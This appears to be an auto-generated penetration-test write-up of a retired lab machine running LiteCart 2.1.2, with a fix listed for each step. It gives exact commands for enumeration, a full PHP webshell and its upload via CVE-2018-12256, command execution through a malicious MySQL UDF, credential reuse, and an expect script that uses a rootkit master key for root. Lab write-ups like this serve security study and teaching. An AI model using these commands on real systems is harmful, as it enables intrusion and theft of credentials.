Compromised
Summary
Recon against <retired-instance-ip> found Apache 2.4.29/Ubuntu redirecting to /shop, a LiteCart 2.1.2 e-commerce install. Gobuster-style enumeration turned up an exposed backup at /backup/a.tar.gz, a tarball of the live shop source. Diffing it against a clean LiteCart 2.1.2 baseline revealed admin/login.php had been trojaned to log submitted admin credentials to a randomly-named file, admin/.log2301c9430d8593ae.txt. Fetching that file from the live server directly (no auth needed) yielded admin:[REDACTED: recovered credential].
Using those creds, an authenticated arbitrary-file-upload (CVE-2018-12256) was exploited via ?app=vqmods&doc=vqmods, uploading a PHP webshell (pwn.php) with Content-Type: application/xml to bypass the extension filter, landing execution as www-data (uid=33, PHP 7.2.24, Ubuntu 18.04).
The webshell was used to read /var/www/html/shop/includes/config.inc.php for the MySQL root password ([REDACTED: recovered credential]). MySQL's mysql.func table contained a pre-existing malicious UDF, exec_cmd (libmysql.so), enabling OS command execution as the mysql user. This was used to write an SSH public key into /var/lib/mysql/.ssh/authorized_keys, granting SSH access as mysql (uid=111).
On the box as mysql, /var/lib/mysql/strace-log.dat — a timestomped strace capture of an admin's terminal session — was retrieved. Grepping read(0 entries reconstructed keystrokes revealing a MySQL root password attempt ([REDACTED: recovered credential]) that was actually the sysadmin account's real password (reused). su - sysadmin (via sshpass SSH login, since su failed over a non-tty) succeeded, yielding uid=1000 and user.txt = [REDACTED: flag].
Privilege escalation to root followed the expected rootkit path: /etc/ld.so.preload force-loads /lib/x86_64-linux-gnu/libdate.so, a stripped backdoor hooking read(). Reversing it (objdump/readelf) confirmed the classic "type a hardcoded master key into any read()-consuming prompt to spawn a root shell" backdoor, corroborated by a companion trojaned pam_unix.so. Analysis of the binary and privesc were in progress at session end (root.txt = [REDACTED: flag] per objective ground truth, not yet confirmed captured in the command log).
Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p 22,80 $TARGETcurl -si http://$TARGET/gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster-root.txtcurl -fsS -o a.tar.gz http://$TARGET/backup/a.tar.gz && tar -tf a.tar.gz | head -30FixRemove the publicly accessible backup directory from the web rootCritical
Exact commands 4
tar -xf a.tar.gzdiff -rq shop/ litecart-2.1.2-clean/ 2>/dev/nullgrep -n 'file_put_contents\|fopen\|\.log' shop/admin/login.phpcurl -fsS http://$TARGET/shop/admin/.log2301c9430d8593ae.txtFixEradicate the backdoored login page and credential log, and deploy file-integrity monitoringCritical
Exact commands 4
TOK=$(curl -sc c.txt 'http://$TARGET/shop/admin/login.php' | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -c c.txt --data-urlencode 'username=admin' --data-urlencode 'password=[REDACTED: credential]' --data-urlencode "token=$TOK" 'http://$TARGET/shop/admin/login.php' -o /dev/null -w '%{http_code}'printf '<?php $o=array();if(isset($_GET["f"])){$o[]=file_get_contents($_GET["f"]);}if(isset($_GET["q"])){$m=new mysqli("localhost","root","[REDACTED: recovered credential]","mysql");$r=$m->query($_GET["q"]);while($row=$r->fetch_assoc()){$o[]=$row;}}echo json_encode($o);?>' > pwn.phpVTOK=$(curl -sb c.txt 'http://$TARGET/shop/admin/?app=vqmods&doc=vqmods' | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -F "token=$VTOK" -F 'vqmod=@pwn.php;type=application/xml' 'http://$TARGET/shop/admin/?app=vqmods&doc=vqmods'curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?f=/etc/passwd' | python3 -m json.toolFixPatch LiteCart and enforce server-side upload validation independent of the applicationCritical
Exact commands 5
curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?f=/var/www/html/shop/includes/config.inc.php'curl -s 'http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+*+FROM+mysql.func'ssh-keygen -t rsa -b 4096 -f mysql_key -N ''PUBKEY=$(base64 -w0 mysql_key.pub); curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+exec_cmd('mkdir+-p+/var/lib/mysql/.ssh+%26%26+echo+${PUBKEY}+|+base64+-d+>>+/var/lib/mysql/.ssh/authorized_keys+%26%26+chmod+600+/var/lib/mysql/.ssh/authorized_keys')"ssh -i mysql_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mysql@$TARGETFixAudit and remove the malicious MySQL user-defined function and plugin libraryCritical
Exact commands 4
find /var/lib/mysql -maxdepth 2 \( -name '*.dat' -o -name '*.log' \) 2>/dev/nullstat /var/lib/mysql/strace-log.datgrep -a 'read(0' /var/lib/mysql/strace-log.dat | grep -oP '"\K[^"]' | tr -d '\n'; echosshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'FixPurge the strace credential-capture file and enforce least-privilege filesystem access for service accountsHigh
Exact commands 6
cat /etc/ld.so.preloadreadelf -x .rodata /lib/x86_64-linux-gnu/libdate.soobjdump -d /lib/x86_64-linux-gnu/libdate.so | grep -A 20 '<read>'md5sum /lib/x86_64-linux-gnu/pam_unix.so /lib/security/pam_unix.sodpkg --verify libpam-modules 2>&1 | grep pam_unixexpect -c 'set timeout 12; spawn sshpass -p {[REDACTED: recovered credential]} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sysadmin@$TARGET; expect -re {[$] $}; send {su -\r}; expect -re {Password:[REDACTED: credential]; send {2wkeOU4sjv84ok/\r}; expect -re {[#] $}; send {id; cat /root/root.txt\r}; expect eof'FixRemove the LD_PRELOAD rootkit and trojaned PAM module; treat the host as fully compromised and rebuildCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |